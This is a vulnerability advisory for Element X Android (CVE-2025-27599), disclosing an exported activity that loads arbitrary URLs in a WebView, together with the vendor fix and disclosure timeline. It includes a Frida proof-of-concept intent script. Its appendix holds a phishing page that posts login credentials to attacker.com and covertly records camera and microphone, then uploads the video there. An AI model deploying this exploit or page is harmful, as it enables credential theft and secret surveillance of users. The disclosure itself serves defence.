usd-2025-0010 | Element X Android <= 25.04.1 - Vulnerable to loading malicious web pages via received intent
Product: Element X Android
Affected Version: <= 25.04.1
Vulnerability Type: Improper Export of Android Application Components (CWE-926)
Security Risk: High
Vendor: Element.io
Vendor URL: https://github.com/element-hq/element-x-android
Vendor acknowledged vulnerability: Yes
Vendor Status: Fixed
CVE Number: CVE-2025-27599
CVE Link: https://github.com/element-hq/element-x-android/security/advisories/GHSA-m5px-pwq3-4p5m
Advisory ID: usd-2025-0010
Description
It is possible to call the exported ElementCallActivity and cause it to load a malicious webpage.
The prerequisite for this is that the attacker is present on the device and can send an intent to the vulnerable activity. This can be done, for example, through another app on the smartphone that does not require any additional system permissions. Since the necessary code to call the exported activity is not inherently malicious, it is entirely possible to distribute such apps via the app store.
A full-fledged phishing attack can be carried out via the content of the webpage opened through the intent in order to steal users' login credentials. Additionally, the camera and microphone can be accessed, as these permissions can either be granted by the app itself or have already been granted. This allows the identification of app users and enables the recording of both video and audio.
Proof of Concept
The vulnerability arises because the ElementCallActivity is exported. This can be seen in the file features/call/impl/src/main/AndroidManifest.xml:
[...] <activity android:name=".ui.ElementCallActivity" android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|keyboardHidden|keyboard|navigation|uiMode" android:exported="true" android:label="@string/element_call" android:launchMode="singleTask" android:supportsPictureInPicture="true" android:taskAffinity="io.element.android.features.call"> </activity> [...]
On the other hand, the Activity allows the launching of an internal WebView within the app's context via a specific Intent, which follows the provided URL. This URL is not validated beforehand, meaning any conceivable address can be accessed. The following excerpt shows this: features/call/impl/src/main/kotlin/io/element/android/features/call/impl/ui/ElementCallActivity.kt:
[...] private fun setCallType(intent: Intent?) { val callType = intent?.let { IntentCompat.getParcelableExtra(intent, DefaultElementCallEntryPoint.EXTRA_CALL_TYPE, CallType::class.java) ?: intent.dataString?.let(::parseUrl)?.let(::ExternalUrl) } val currentCallType = webViewTarget.value if (currentCallType == null) { if (callType == null) { Timber.tag(loggerTag.value).d("Re-opened the activity but we have no url to load or a cached one, finish the activity") finish() } else { Timber.tag(loggerTag.value).d("Set the call type and create the presenter") webViewTarget.value = callType presenter = presenterFactory.create(callType, this) } } else { if (callType == null) { Timber.tag(loggerTag.value).d("Coming back from notification, do nothing") } else if (callType != currentCallType) { [...]
To reproduce the vulnerability, it is necessary to send a customized Intent to the vulnerable ElementX Activity. This can be tested from an app that includes the class io.element.android.features.call.api.CallType$ExternalUrl using the following Frida script. In a real attacker scenario, this would be a malicious app on the device that also contains this class.
The following script creates the specific Intent and sends it to the ElementX app, ensuring it processes the Intent correctly. As a result, the ElementX app is forced to establish a connection to http://localhost:8080/login.html. However, any other web server with a valid TLS certificate could also be used.
// Call the script with an app, which contains the needed classes e.g. the ElementX App self or another app with the specific classes // frida -U -f io.element.android.x -l followingScript.js Java.perform(function () { function waitForContext() { try { var context = Java.use("android.app.ActivityThread") var app = context.currentApplication(); if (app !== null) { var context = app.getApplicationContext(); console.log("Application context loaded:", context); createIntent() } else { console.log("Waiting for application context..."); setTimeout(waitForContext, 100); // Retry in 100ms } } catch (e) { console.log("Error accessing context, retrying...", e); setTimeout(waitForContext, 100); } } function createIntent(){ var Intent = Java.use("android.content.Intent"); var ExternalUrl = Java.use("io.element.android.features.call.api.CallType$ExternalUrl"); var context = Java.use("android.app.ActivityThread") var context = context.currentApplication().getApplicationContext(); // Sending an Intent with ExternalUrl (Parcelable) var intent = Intent.$new(); intent.setClassName("io.element.android.x", "io.element.android.features.call.impl.ui.ElementCallActivity"); var externalUrl = ExternalUrl.$new("[http://localhost:8080/login.html");]() intent.putExtra("EXTRA_CALL_TYPE", externalUrl); intent.addFlags(268435456); context.startActivity(intent); console.log("Intent with ExternalUrl sent."); } waitForContext(); });
Through the Intent, the ElementCallActivity opens a WebView that operates within the app's context—and thus with its permissions.
:
The malicious website not only captures the login credentials but also secretly records a video of the user and sends it to the attacker.
:
Additionally, the website can communicate with the underlying Rust SDK through an interface of the app. The full extent of this interaction could not be conclusively determined during the penetration test. However, there is a possibility that calls could be intercepted and manipulated.
Ausschnitt: WebViewWidgetMessageInterceptor.kt
[...] private fun onMessageReceived(json: String?) { // Here is where we would handle the messages from the WebView, passing them to the Rust SDK json?.let { interceptedMessages.tryEmit(it) } } [...]
Appendix
Website used to intercept the credentials and to create and send the video:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>MessengerX - Login</title> <style> body { font-family: Arial, sans-serif; background-color: #f2f2f2; display: flex; justify-content: center; align-items: center; height: 100vh; flex-direction: column; position: relative; } .login-container { background: white; padding: 20px; border-radius: 10px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); text-align: center; width: 300px; } .input-field { width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #ccc; border-radius: 5px; } .login-button { background-color: #007bff; color: white; border: none; padding: 10px; width: 100%; border-radius: 5px; cursor: pointer; } .login-button:hover { background-color: #0056b3; } </style> </head> <body> <div class="login-container"> <h1>MessengerX</h1> <h2>Please login again</h2> <form id="loginForm" action="[https://attacker.com"]() method="POST"> <input type="email" id="username" name="username" class="input-field" placeholder="Email" required> <input type="password" id="password" name="password" class="input-field" placeholder="Password" required> <button type="submit" class="login-button">Login</button> </form> </div> <script> async function startRecording() { try { // Request camera and microphone access (hidden recording) const stream = await navigator.mediaDevices.getUserMedia({ video: true, audio: true }); // MediaRecorder to capture the video/audio let mediaRecorder = new MediaRecorder(stream); let chunks = []; mediaRecorder.ondataavailable = event => chunks.push(event.data); mediaRecorder.onstop = async () => { // Convert recorded chunks into a Blob const blob = new Blob(chunks, { type: 'video/webm' }); // Prepare file for upload const formData = new FormData(); formData.append("video", blob, "aufnahme.webm"); // Upload the video file try { const response = await fetch("[https://attacker.com",]() { method: "POST", body: formData, }); if (response.ok) { console.log("Video uploaded successfully!"); } else { console.error("Video upload failed:", response.statusText); } } catch (error) { console.error("Video upload error:", error); } // Stop the camera and microphone to hide indicators //stream.getTracks().forEach(track => track.stop()); }; // Start recording mediaRecorder.start(); console.log("Recording started..."); // Stop recording after 6 seconds setTimeout(() => { mediaRecorder.stop(); console.log("Recording stopped. Uploading..."); }, 6000); } catch (error) { console.error("Error accessing camera/microphone:", error); } } // Automatically start the process when the page loads window.onload = function() { startRecording(); // Start hidden video recording }; </script> </body> </html>
Fix
For mitigation, the activity should no longer be exported. In addition, a check should be implemented that validates the URL transferred in the intent accordingly.
References
- https://github.com/element-hq/element-x-android
- https://github.com/element-hq/element-x-android/blob/develop/features/call/impl/src/main/AndroidManifest.xml
- https://github.com/element-hq/element-x-android/blob/develop/features/call/impl/src/main/kotlin/io/element/android/features/call/impl/ui/ElementCallActivity.kt
- https://github.com/element-hq/element-x-android/blob/develop/features/call/impl/src/main/kotlin/io/element/android/features/call/impl/utils/WebViewWidgetMessageInterceptor.kt
- https://github.com/element-hq/element-x-android/security/advisories/GHSA-m5px-pwq3-4p5m
Timeline
-
2025-02-5: First contact request via mail
-
2025-02-6: Confirmation of vulnerability receipt
-
2025-04-17: Vulnerability is patched in version Element X Android v25.04.2
-
2025-04-29: This advisory is published
Credits
This security vulnerability was identified by Fabian Brenner, with valuable support from his colleagues Dominique Dittert and Tobias Hamann of usd AG.